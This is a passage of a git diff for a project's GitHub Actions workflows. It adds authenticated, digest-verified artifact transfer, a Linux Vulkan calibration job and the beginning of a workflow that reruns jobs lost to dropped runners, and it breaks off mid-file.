+ sysctl -n machdep.cpu.brand_string + node --version + } > target/frozen-candidate-quality/host.txt 2>&1 + test "$(uname -m)" = arm64 + + - name: Authenticate exact candidate archive artifacts + id: candidate-artifacts + shell: bash + env: + GH_TOKEN: ${{ github.token }} + HEAD_SHA: ${{ inputs.ref }} + run: | + set -euo pipefail + test "$(git rev-parse HEAD)" = "$HEAD_SHA" + producer_run="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" + )" + test "$(jq -r '.head_repository.full_name' <<<"$producer_run")" = "$GITHUB_REPOSITORY" + test "$(jq -r '.path' <<<"$producer_run")" = ".github/workflows/packaged-platform-pr.yml" + test "$(jq -r '.head_sha' <<<"$producer_run")" = "$HEAD_SHA" + test "$(jq -r '.run_attempt' <<<"$producer_run")" = "$GITHUB_RUN_ATTEMPT" + artifacts="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID/artifacts?per_page=100" + )" + select_artifact() { + local name="$1" + jq \ + --arg name "$name" \ + --arg sha "$HEAD_SHA" \ + --argjson run_id "$GITHUB_RUN_ID" \ + '[ + .artifacts[] + | select( + .name == $name + and .expired == false + and .workflow_run.id == $run_id + and .workflow_run.head_sha == $sha + ) + ] | if length == 1 then .[0] else error("expected one exact candidate artifact") end' \ + <<<"$artifacts" + } + artifact="$(select_artifact codestory-cli-macos-arm64)" + record_artifact="$(select_artifact codestory-candidate-archive-record-macos-arm64)" + artifact_id="$(jq -r '.id' <<<"$artifact")" + expected_size="$(jq -r '.size_in_bytes' <<<"$artifact")" + expected_digest="$(jq -r '.digest' <<<"$artifact")" + [[ "$artifact_id" =~ ^[0-9]+$ ]] + [[ "$expected_size" =~ ^[0-9]+$ ]] + [[ "$expected_digest" =~ ^sha256:[0-9a-f]{64}$ ]] + [[ "$(jq -r '.id' <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r '.size_in_bytes' <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r '.digest' <<<"$record_artifact")" =~ ^sha256:[0-9a-f]{64}$ ]] + { + echo "package-id=$artifact_id" + echo "package-bytes=$expected_size" + echo "package-sha256=${expected_digest#sha256:}" + } >> "$GITHUB_OUTPUT" + + - name: Download authenticated candidate record + uses: actions/download-artifact@v8.0.1 + with: + name: codestory-candidate-archive-record-macos-arm64 + path: target/candidate-archive-record/macos-arm64 + + - name: Restore exact candidate archive from protected host + id: candidate-cache + shell: bash + run: | + set -euo pipefail + started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + record=target/candidate-archive-record/macos-arm64/candidate-archive-record.json + jq -e \ + --arg repository "$GITHUB_REPOSITORY" \ + --arg source_sha "$(git rev-parse HEAD)" \ + --arg source_tree "$(git rev-parse 'HEAD^{tree}')" \ + --arg target macos-arm64 \ + '.repository == $repository + and .source.commit == $source_sha + and .source.tree == $source_tree + and .target == $target' \ + "$record" >/dev/null + store="$RUNNER_TOOL_CACHE/codestory/candidate-archives" + mkdir -p "$store" target + rm -rf target/release-dist + restored="$( + node .github/scripts/candidate-archive-store.mjs restore \ + --record "$record" \ + --store-root "$store" \ + --output-root target \ + --output-dir target/release-dist + )" + hit="$(jq -r .hit <<<"$restored")" + test "$hit" = true || test "$hit" = false + finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + elapsed_ms=$(((finished_ns - started_ns) / 1000000)) + echo "hit=$hit" >> "$GITHUB_OUTPUT" + { + echo "### Optional quality candidate archive" + echo + echo "- Protected-host cache lookup and verification: ${elapsed_ms} ms" + echo "- Cache hit: \`$hit\`" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Download, authenticate, and admit candidate archive on miss + if: steps.candidate-cache.outputs.hit != 'true' + shell: bash + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_ID: ${{ steps.candidate-artifacts.outputs.package-id }} + EXPECTED_SIZE: ${{ steps.candidate-artifacts.outputs.package-bytes }} + EXPECTED_SHA256: ${{ steps.candidate-artifacts.outputs.package-sha256 }} + run: | + set -euo pipefail + transfer_started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + archive="$RUNNER_TEMP/codestory-cli-macos-arm64-$ARTIFACT_ID.zip" + download_url="$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/actions/artifacts/$ARTIFACT_ID/zip" + partial="$archive.partial" + rm -f "$archive" "$partial" + trap 'rm -f "$archive" "$partial"' EXIT + + complete=false + for attempt in $(seq 1 30); do + if curl \ + --fail \ + --location \ + --silent \ + --show-error \ + --connect-timeout 30 \ + --max-time 120 \ + --continue-at - \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" \ + --header "X-GitHub-Api-Version: 2022-11-28" \ + --output "$partial" \ + "$download_url"; then + complete=true + break + fi + + current_size=0 + test ! -f "$partial" || current_size="$(stat -f %z "$partial")" + test "$current_size" -le "$EXPECTED_SIZE" + if [ "$current_size" = "$EXPECTED_SIZE" ]; then + complete=true + break + fi + echo "::warning title=Optional quality artifact transfer interrupted::Resuming the exact candidate at byte $current_size after attempt $attempt" + sleep 2 + done + test "$complete" = true + + actual_size="$(stat -f %z "$partial")" + actual_digest="$(shasum -a 256 "$partial" | awk '{print $1}')" + test "$actual_size" = "$EXPECTED_SIZE" + test "$actual_digest" = "$EXPECTED_SHA256" + mv "$partial" "$archive" + transfer_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + + record=target/candidate-archive-record/macos-arm64/candidate-archive-record.json + stage=target/candidate-archive-stage/macos-arm64 + rm -rf "$stage" + python3 .github/scripts/extract-candidate-actions-artifact.py \ + --artifact "$archive" \ + --record "$record" \ + --out "$stage" + admitted="$( + node .github/scripts/candidate-archive-store.mjs admit \ + --record "$record" \ + --input-root "$stage" \ + --store-root "$RUNNER_TOOL_CACHE/codestory/candidate-archives" \ + --output-root target \ + --output-dir target/release-dist + )" + test "$(jq -r .hit <<<"$admitted")" = true || \ + test "$(jq -r .admitted <<<"$admitted")" = true + admission_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + transfer_ms=$(((transfer_finished_ns - transfer_started_ns) / 1000000)) + verification_ms=$(((admission_finished_ns - transfer_finished_ns) / 1000000)) + { + echo "- Authenticated Actions transfer: ${transfer_ms} ms" + echo "- Payload verification and atomic admission: ${verification_ms} ms" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Produce optional Axios v2 quality evidence + id: quality + continue-on-error: true + shell: bash + env: + VERSION: ${{ inputs.version }} + CODESTORY_EMBED_ALLOW_CPU: "0" + run: | + set -euo pipefail + started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + version="${VERSION#v}" + archive="target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz" + quality_root=target/frozen-candidate-quality/evidence + packaged_root="$(mktemp -d "$RUNNER_TEMP/codestory-quality-cli.XXXXXX")" + export CODESTORY_CACHE_ROOT + CODESTORY_CACHE_ROOT="$(mktemp -d "$RUNNER_TEMP/codestory-quality-cache.XXXXXX")" + export CODESTORY_STDIO_CACHE_ROOT + CODESTORY_STDIO_CACHE_ROOT="$(mktemp -d "$RUNNER_TEMP/codestory-quality-stdio.XXXXXX")" + rm -rf "$quality_root" + mkdir -p "$quality_root" + tar -xzf "$archive" -C "$packaged_root" + packaged_cli="$( + find "$packaged_root" -type f -name codestory-cli -print + )" + test "$(printf '%s\n' "$packaged_cli" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 + test -x "$packaged_cli" + export CODESTORY_RELEASE_EVIDENCE_COMMIT + CODESTORY_RELEASE_EVIDENCE_COMMIT="$(git rev-parse HEAD)" + export CODESTORY_RELEASE_EVIDENCE_TREE + CODESTORY_RELEASE_EVIDENCE_TREE="$(git rev-parse 'HEAD^{tree}')" + export CODESTORY_RELEASE_EVIDENCE_PROFILE=protected-macos-arm64-metal + export CODESTORY_RELEASE_EVIDENCE_CORPUS_ID=codestory-release-corpus-v0.16-axios-js-ts-v2 + export CODESTORY_RELEASE_EVIDENCE_CORPUS_CONTRACT=benchmarks/release-evidence/corpus-contracts/v0.16-axios-js-ts-v2.json + export CODESTORY_RELEASE_EVIDENCE_CACHE_ID=frozen-candidate-axios-js-ts-v2 + export CODESTORY_RELEASE_EVIDENCE_MACHINE_FINGERPRINT + CODESTORY_RELEASE_EVIDENCE_MACHINE_FINGERPRINT="$( + shasum -a 256 target/frozen-candidate-quality/host.txt | awk '{print $1}' + )" + node scripts/codestory-agent-ab-benchmark.mjs \ + --packet-runtime \ + --packet-runtime-mode cold-cli \ + --task-manifest benchmarks/tasks/release-evidence/axios-request-dispatch-v2.task.json \ + --materialize-repos \ + --repeats 3 \ + --publishable \ + --max-source-reads-after-packet 0 \ + --codestory-cli "$packaged_cli" \ + --timeout-ms 180000 \ + --out-dir "$quality_root/packet" + finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + echo "- Optional Axios v2 measurement: $(((finished_ns - started_ns) / 1000000)) ms" \ + >> "$GITHUB_STEP_SUMMARY" + + - name: Upload optional Axios v2 quality evidence + id: quality-upload + if: steps.quality.outcome == 'success' + continue-on-error: true + uses: actions/upload-artifact@v7.0.1 + with: + name: frozen-candidate-quality-${{ inputs.ref }} + path: target/frozen-candidate-quality/evidence + if-no-files-found: error + retention-days: 30 + overwrite: true + + - name: Record optional quality outcome + if: always() + shell: bash + env: + QUALITY_OUTCOME: ${{ steps.quality.outcome }} + UPLOAD_OUTCOME: ${{ steps.quality-upload.outcome }} + run: | + set -euo pipefail + quality_outcome="${QUALITY_OUTCOME:-skipped}" + upload_outcome="${UPLOAD_OUTCOME:-skipped}" + case "$quality_outcome" in + success | failure | cancelled | skipped) ;; + *) exit 1 ;; + esac + case "$upload_outcome" in + success | failure | cancelled | skipped) ;; + *) exit 1 ;; + esac + { + echo "### Optional Axios v2 quality outcome" + echo + echo "- Measurement: \`$quality_outcome\`" + echo "- Artifact upload: \`$upload_outcome\`" + echo "- Release or qualification gate: \`false\`" + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/linux-vulkan-proof.yml b/.github/workflows/linux-vulkan-proof.yml index 6dc5a87b2..7ea477072 100644 --- a/.github/workflows/linux-vulkan-proof.yml +++ b/.github/workflows/linux-vulkan-proof.yml @@ -45,43 +45,10 @@ on: required: false default: false type: boolean - workflow_dispatch: - inputs: - version: - required: true - type: string - ref: - required: true - type: string - proof_key: - required: false - type: string - package_run_id: - description: Upstream packaged-platform run containing codestory-cli-linux-x64. - required: true - type: string - calibration_bundle_artifact: - required: false - default: "" - type: string - calibration_bundle_run_id: - required: false - default: "" - type: string - candidate_installed_proof: - description: Install and prove the exact package through the candidate-managed launcher boundary. - required: false - default: true - type: boolean - candidate_producer_workflow_path: - description: Top-level workflow path authenticated as the candidate artifact producer. + constant_calibration_mode: + description: Collect optional Linux Vulkan calibration evidence without feeding assembly. required: false - default: ".github/workflows/packaged-platform-pr.yml" - type: string - server_behavior_only: - description: Prove bounded package retrieval readiness without answer-quality or performance claims. - required: false - default: true + default: false type: boolean permissions: @@ -93,7 +60,26 @@ concurrency: cancel-in-progress: true jobs: + route: + name: Validate Linux proof dispatch + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - name: Require an upstream package for standalone protected proof + shell: bash + env: + EVENT_NAME: ${{ github.event_name }} + CONSTANT_CALIBRATION_MODE: ${{ inputs.constant_calibration_mode }} + PACKAGE_RUN_ID: ${{ inputs.package_run_id }} + run: | + set -euo pipefail + if [ "$EVENT_NAME" = workflow_dispatch ] && [ "$CONSTANT_CALIBRATION_MODE" != true ]; then + test -n "$PACKAGE_RUN_ID" + fi + packaged-vulkan: + if: ${{ !inputs.constant_calibration_mode }} + needs: route name: Packaged Linux Vulkan engine runs-on: [self-hosted, Linux, X64, codestory-linux-vulkan] environment: linux-vulkan-proof @@ -127,16 +113,239 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: bash - run: test "${{ inputs.server_behavior_only }}" = true + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + run: test "$SERVER_BEHAVIOR_ONLY" = true + + - name: Authenticate exact Linux candidate artifacts + id: candidate-artifacts + shell: bash + env: + GH_TOKEN: ${{ github.token }} + CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + PACKAGE_RUN_ID: ${{ inputs.package_run_id || github.run_id }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + run: | + set -euo pipefail + test -n "$CANDIDATE_PRODUCER_WORKFLOW_PATH" + case "$CANDIDATE_PRODUCER_WORKFLOW_PATH" in + .github/workflows/auto-release.yml | \ + .github/workflows/release.yml | \ + .github/workflows/packaged-platform-pr.yml) + ;; + *) + exit 1 + ;; + esac + if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then + test "$CANDIDATE_PRODUCER_WORKFLOW_PATH" = \ + .github/workflows/packaged-platform-pr.yml + fi + run="$(gh api "repos/$GITHUB_REPOSITORY/actions/runs/$PACKAGE_RUN_ID")" + test "$(jq -r '.head_repository.full_name' <<<"$run")" = "$GITHUB_REPOSITORY" + test "$(jq -r '.path' <<<"$run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH" + test "$(jq -r '.head_sha' <<<"$run")" = "$(git rev-parse HEAD)" + if [ "$PACKAGE_RUN_ID" = "$GITHUB_RUN_ID" ]; then + test "$(jq -r '.run_attempt' <<<"$run")" = "$GITHUB_RUN_ATTEMPT" + else + test "$(jq -r '.status' <<<"$run")" = completed + test "$(jq -r '.conclusion' <<<"$run")" = success + fi + artifacts="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$PACKAGE_RUN_ID/artifacts?per_page=100" + )" + select_artifact() { + local name="$1" + jq \ + --arg name "$name" \ + --arg sha "$(git rev-parse HEAD)" \ + --argjson run_id "$PACKAGE_RUN_ID" \ + '[ + .artifacts[] + | select( + .name == $name + and .expired == false + and .workflow_run.id == $run_id + and .workflow_run.head_sha == $sha + ) + ] | if length == 1 then .[0] else error("expected one exact candidate artifact") end' \ + <<<"$artifacts" + } + artifact="$(select_artifact codestory-cli-linux-x64)" + record_artifact="$( + select_artifact codestory-candidate-archive-record-linux-x64 + )" + if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then + select_artifact codestory-qualification-driver-linux-x64 >/dev/null + fi + artifact_id="$(jq -r .id <<<"$artifact")" + expected_size="$(jq -r .size_in_bytes <<<"$artifact")" + expected_digest="$(jq -r .digest <<<"$artifact")" + [[ "$artifact_id" =~ ^[0-9]+$ ]] + [[ "$expected_size" =~ ^[0-9]+$ ]] + [[ "$expected_digest" =~ ^sha256:[0-9a-f]{64}$ ]] + [[ "$(jq -r .id <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r .size_in_bytes <<<"$record_artifact")" =~ ^[0-9]+$ ]] + [[ "$(jq -r .digest <<<"$record_artifact")" =~ ^sha256:[0-9a-f]{64}$ ]] + { + echo "package-id=$artifact_id" + echo "package-bytes=$expected_size" + echo "package-sha256=${expected_digest#sha256:}" + } >> "$GITHUB_OUTPUT" + + - name: Download authenticated candidate record + uses: actions/download-artifact@v8.0.1 + with: + name: codestory-candidate-archive-record-linux-x64 + path: target/candidate-archive-record/linux-x64 + run-id: ${{ inputs.package_run_id || github.run_id }} + github-token: ${{ github.token }} + + - name: Restore exact candidate archive from protected host + id: candidate-cache + shell: bash + run: | + set -euo pipefail + started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + record=target/candidate-archive-record/linux-x64/candidate-archive-record.json + jq -e \ + --arg repository "$GITHUB_REPOSITORY" \ + --arg source_sha "$(git rev-parse HEAD)" \ + --arg source_tree "$(git rev-parse 'HEAD^{tree}')" \ + --arg target linux-x64 \ + '.repository == $repository + and .source.commit == $source_sha + and .source.tree == $source_tree + and .target == $target' \ + "$record" >/dev/null + store="$RUNNER_TOOL_CACHE/codestory/candidate-archives" + mkdir -p "$store" target + rm -rf target/release-dist + restored="$( + node .github/scripts/candidate-archive-store.mjs restore \ + --record "$record" \ + --store-root "$store" \ + --output-root target \ + --output-dir target/release-dist + )" + hit="$(jq -r .hit <<<"$restored")" + test "$hit" = true || test "$hit" = false + finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + elapsed_ms=$(((finished_ns - started_ns) / 1000000)) + echo "hit=$hit" >> "$GITHUB_OUTPUT" + { + echo "### Candidate archive transfer" + echo + echo "- Protected-host cache lookup and verification: ${elapsed_ms} ms" + echo "- Cache hit: \`$hit\`" + } >> "$GITHUB_STEP_SUMMARY" + + - name: Download, authenticate, and admit candidate archive on miss + if: steps.candidate-cache.outputs.hit != 'true' + shell: bash + env: + GH_TOKEN: ${{ github.token }} + ARTIFACT_ID: ${{ steps.candidate-artifacts.outputs.package-id }} + EXPECTED_SIZE: ${{ steps.candidate-artifacts.outputs.package-bytes }} + EXPECTED_SHA256: ${{ steps.candidate-artifacts.outputs.package-sha256 }} + run: | + set -euo pipefail + transfer_started_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + archive="$RUNNER_TEMP/codestory-cli-linux-x64-$ARTIFACT_ID.zip" + partial="$archive.partial" + download_url="$GITHUB_API_URL/repos/$GITHUB_REPOSITORY/actions/artifacts/$ARTIFACT_ID/zip" + rm -f "$archive" "$partial" + trap 'rm -f "$archive" "$partial"' EXIT + complete=false + for attempt in $(seq 1 30); do + if curl \ + --fail \ + --location \ + --silent \ + --show-error \ + --connect-timeout 30 \ + --max-time 120 \ + --continue-at - \ + --header "Accept: application/vnd.github+json" \ + --header "Authorization: Bearer $GH_TOKEN" \ + --header "X-GitHub-Api-Version: 2022-11-28" \ + --output "$partial" \ + "$download_url"; then + complete=true + break + fi + current_size=0 + test ! -f "$partial" || current_size="$(stat -c %s "$partial")" + test "$current_size" -le "$EXPECTED_SIZE" + if [ "$current_size" = "$EXPECTED_SIZE" ]; then + complete=true + break + fi + echo "::warning title=Linux artifact transfer interrupted::Resuming the exact candidate at byte $current_size after attempt $attempt" + sleep 2 + done + test "$complete" = true + actual_size="$(stat -c %s "$partial")" + actual_digest="$(sha256sum "$partial" | awk '{print $1}')" + test "$actual_size" = "$EXPECTED_SIZE" + test "$actual_digest" = "$EXPECTED_SHA256" + mv "$partial" "$archive" + transfer_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + record=target/candidate-archive-record/linux-x64/candidate-archive-record.json + stage=target/candidate-archive-stage/linux-x64 + rm -rf "$stage" + python3 .github/scripts/extract-candidate-actions-artifact.py \ + --artifact "$archive" \ + --record "$record" \ + --out "$stage" + admitted="$( + node .github/scripts/candidate-archive-store.mjs admit \ + --record "$record" \ + --input-root "$stage" \ + --store-root "$RUNNER_TOOL_CACHE/codestory/candidate-archives" \ + --output-root target \ + --output-dir target/release-dist + )" + test "$(jq -r .hit <<<"$admitted")" = true || \ + test "$(jq -r .admitted <<<"$admitted")" = true + admission_finished_ns="$(python3 -c 'import time; print(time.monotonic_ns())')" + transfer_ms=$(((transfer_finished_ns - transfer_started_ns) / 1000000)) + verification_ms=$(((admission_finished_ns - transfer_finished_ns) / 1000000)) + { + echo "- Authenticated Actions transfer: ${transfer_ms} ms" + echo "- Payload verification and atomic admission: ${verification_ms} ms" + } >> "$GITHUB_STEP_SUMMARY" - - name: Download exact Linux package + - name: Download separate authenticated qualification driver + if: ${{ !inputs.server_behavior_only }} uses: actions/download-artifact@v8.0.1 with: - name: codestory-cli-linux-x64 - path: target/release-dist + name: codestory-qualification-driver-linux-x64 + path: target/qualification-driver-artifact/linux-x64 run-id: ${{ inputs.package_run_id || github.run_id }} github-token: ${{ github.token }} + - name: Verify packaged qualification driver + id: qualification-driver + if: ${{ !inputs.server_behavior_only }} + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + version="${INPUT_VERSION#v}" + verified="$( + node .github/scripts/qualification-driver-artifact.mjs verify \ + --asset-target linux-x64 \ + --source-sha "$(git rev-parse HEAD)" \ + --source-tree "$(git rev-parse 'HEAD^{tree}')" \ + --version "$version" \ + --archive "target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" \ + --trusted-root "$GITHUB_WORKSPACE" \ + --artifact-dir target/qualification-driver-artifact/linux-x64 + )" + echo "path=$(jq -r .driver <<<"$verified")" >> "$GITHUB_OUTPUT" + - name: Authenticate calibration bundle producer if: ${{ !inputs.server_behavior_only }} shell: bash @@ -174,24 +383,38 @@ jobs: shell: bash env: CODESTORY_EMBED_ALLOW_CPU: "0" + INPUT_VERSION: ${{ inputs.version }} + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + VERIFIED_QUALIFICATION_DRIVER: ${{ steps.qualification-driver.outputs.path }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" claim_args=() + qualification_args=() calibration_args=() - if [ "${{ inputs.server_behavior_only }}" = true ]; then + if [ "$SERVER_BEHAVIOR_ONLY" = true ]; then claim_args=(--server-behavior-only) else calibration_bundle="$(find target/calibration-bundle -type f -name calibration-bundle.json -print)" test "$(printf '%s\n' "$calibration_bundle" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 + qualification_driver="$VERIFIED_QUALIFICATION_DRIVER" + test -n "$qualification_driver" + test -x "$qualification_driver" + qualification_args=( + --produce-qualification-evidence + --qualification-driver "$qualification_driver" + --qualification-evidence target/linux-vulkan-proof/qualification.json + ) calibration_args=( --calibration-bundle "$calibration_bundle" - --calibration-producer-run-id "${{ inputs.calibration_bundle_run_id }}" - --calibration-producer-artifact "${{ inputs.calibration_bundle_artifact }}" + --calibration-producer-run-id "$CALIBRATION_RUN_ID" + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" ) fi python .github/scripts/check-packaged-agent-proof.py \ @@ -207,6 +430,7 @@ jobs: --proof-tier protected_hardware \ --qualification-matrix-cell protected_linux_x64_vulkan \ "${claim_args[@]}" \ + "${qualification_args[@]}" \ "${calibration_args[@]}" \ --expected-source-sha "$source_sha" \ --expected-source-tree "$source_tree" \ @@ -219,11 +443,13 @@ jobs: env: GH_TOKEN: ${{ github.token }} CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + INPUT_VERSION: ${{ inputs.version }} + PACKAGE_RUN_ID: ${{ inputs.package_run_id || github.run_id }} run: | set -euo pipefail umask 077 test -n "$CANDIDATE_PRODUCER_WORKFLOW_PATH" - candidate_producer_run_id="${{ inputs.package_run_id || github.run_id }}" + candidate_producer_run_id="$PACKAGE_RUN_ID" run="$(gh api "repos/$GITHUB_REPOSITORY/actions/runs/$candidate_producer_run_id")" test "$(jq -r '.head_repository.full_name' <<<"$run")" = "$GITHUB_REPOSITORY" test "$(jq -r '.path' <<<"$run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH" @@ -232,7 +458,7 @@ jobs: test "$candidate_producer_run_attempt" -ge 1 echo "CODESTORY_CANDIDATE_PRODUCER_RUN_ID=$candidate_producer_run_id" >> "$GITHUB_ENV" echo "CODESTORY_CANDIDATE_PRODUCER_RUN_ATTEMPT=$candidate_producer_run_attempt" >> "$GITHUB_ENV" - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" candidate_root="$(mktemp -d "$RUNNER_TEMP/codestory-candidate-installed-linux.XXXXXX")" @@ -266,9 +492,10 @@ jobs: env: CODESTORY_EMBED_ALLOW_CPU: "0" CANDIDATE_PRODUCER_WORKFLOW_PATH: ${{ inputs.candidate_producer_workflow_path }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" python .github/scripts/check-packaged-agent-proof.py \ @@ -307,9 +534,13 @@ jobs: - name: Emit authenticated Linux Vulkan release cells if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} + CANDIDATE_INSTALLED_PROOF: ${{ inputs.candidate_installed_proof }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" archive="target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" mkdir -p target/release-cells @@ -319,7 +550,7 @@ jobs: > target/linux-vulkan-proof/release-cell-identity.json common=( --repo "$GITHUB_WORKSPACE" - --expected-sha "${{ inputs.ref }}" + --expected-sha "$INPUT_REF" --version "$version" --producer-workflow .github/workflows/linux-vulkan-proof.yml --producer-job packaged-vulkan @@ -339,7 +570,7 @@ jobs: --producer-artifact "release-cell-postpublish-retrieval-linux-x64-attempt-$GITHUB_RUN_ATTEMPT" \ --archive "$archive" \ --out target/release-cells/retrieval_readiness-linux-x64.json - if [ "${{ inputs.candidate_installed_proof }}" = true ]; then + if [ "$CANDIDATE_INSTALLED_PROOF" = true ]; then jq -n \ --arg installer candidate_managed_plugin \ --arg runtime_version "$version" \ @@ -390,3 +621,109 @@ jobs: path: target/linux-vulkan-proof if-no-files-found: error retention-days: 30 + + optional-constant-calibration: + if: ${{ inputs.constant_calibration_mode }} + needs: route + name: Optional Linux Vulkan constant calibration + runs-on: [self-hosted, Linux, X64, codestory-linux-vulkan] + environment: linux-vulkan-proof + timeout-minutes: 180 + steps: + - name: Checkout exact source + uses: actions/checkout@v5 + with: + ref: ${{ inputs.ref }} + fetch-depth: 0 + + - name: Install pinned Python + uses: actions/setup-python@v7.0.0 + with: + python-version: "3.13" + + - name: Install pinned Rust + shell: bash + run: | + rustup toolchain install 1.95.0 --profile minimal + rustup default 1.95.0 + + - name: Capture optional Linux Vulkan calibration host evidence + shell: bash + run: | + set -euo pipefail + mkdir -p target/linux-vulkan-calibration + { + uname -a + uname -m + lscpu + command -v vulkaninfo + vulkaninfo --summary + } > target/linux-vulkan-calibration/host.txt 2>&1 + test "$(uname -m)" = x86_64 + + - name: Prepare checksum-pinned embedded model + run: >- + node scripts/prepare-embedded-model.mjs + --cache-root "$RUNNER_TOOL_CACHE/codestory/model-material" + + - name: Build and package native CLI and constant driver + shell: bash + env: + VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + version="${VERSION#v}" + cargo build --release --locked \ + -p codestory-cli \ + --bin codestory-cli \ + --bin codestory-cli-runtime \ + -p codestory-bench \ + --bin codestory_embedding_constant_calibration + python .github/scripts/package-codestory-release.py \ + --version "$version" \ + --target linux-x64 \ + --binary target/release/codestory-cli \ + --out-dir target/release-dist + + - name: Collect optional Linux Vulkan constant calibration + shell: bash + env: + CODESTORY_EMBED_ALLOW_CPU: "0" + CONSTANT_CALIBRATION_MODE: ${{ inputs.constant_calibration_mode }} + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + test "$CONSTANT_CALIBRATION_MODE" = true + test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen + version="${INPUT_VERSION#v}" + source_sha="$(git rev-parse HEAD)" + source_tree="$(git rev-parse 'HEAD^{tree}')" + mkdir -p target/calibration-runs/linux-vulkan + python .github/scripts/check-packaged-agent-proof.py \ + --archive "target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz" \ + --checksum-file target/release-dist/SHA256SUMS.txt \ + --expected-version "$version" \ + --engine-policy accelerated \ + --expected-backend Vulkan \ + --offline \ + --proof-tier calibration \ + --qualification-matrix-cell protected_linux_x64_vulkan \ + --collect-constant-calibration \ + --constant-calibration-output-dir target/calibration-runs/linux-vulkan \ + --qualification-driver target/release/codestory_embedding_constant_calibration \ + --expected-source-sha "$source_sha" \ + --expected-source-tree "$source_tree" \ + --timeout-secs 1800 \ + --out-dir target/calibration-proof/linux-vulkan + + - name: Upload optional Linux Vulkan calibration evidence + if: always() + uses: actions/upload-artifact@v7.0.1 + with: + name: optional-embedding-calibration-linux-vulkan-${{ inputs.version }}-attempt-${{ github.run_attempt }} + path: | + target/calibration-runs/linux-vulkan + target/calibration-proof/linux-vulkan + target/linux-vulkan-calibration + if-no-files-found: warn + retention-days: 30 diff --git a/.github/workflows/lost-runner-rerun.yml b/.github/workflows/lost-runner-rerun.yml new file mode 100644 index 000000000..43a0ad148 --- /dev/null +++ b/.github/workflows/lost-runner-rerun.yml @@ -0,0 +1,86 @@ +name: Lost runner rerun + +# The repository owns exactly one GPU Linux host, so a single dropped connection used to cost a +# whole release. This companion re-dispatches the individual jobs that carry the lost-runner +# signature -- and only those -- with no approval step anywhere: recovery is a machine decision or +# it does not happen. A job that ran and failed its own assertions is never named in the rerun +# request, so it stays red and keeps the run red. + +on: + workflow_run: + workflows: + - Auto Release + - Release + types: + - completed + +permissions: + actions: write + # The lost-runner signature includes the job annotation Actions leaves behind, and + # GET /repos/{owner}/{repo}/check-runs/{id}/annotations is gated on `checks: read`. Without it + # the collector cannot read the signature at all, so the recovery path is dead. + checks: read + contents: read + +concurrency: + group: lost-runner-rerun-${{ github.event.workflow_run.id }} + cancel-in-progress: false + +jobs: + rerun-lost-jobs: + name: Re-dispatch jobs lost by their runner + if: github.event.workflow_run.conclusion == 'failure' + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout recovery policy + uses: actions/checkout@v5 + + - name: Collect Actions failure evidence + env: + GH_TOKEN: ${{ github.token }} + FAILED_RUN_ID: ${{ github.event.workflow_run.id }} + 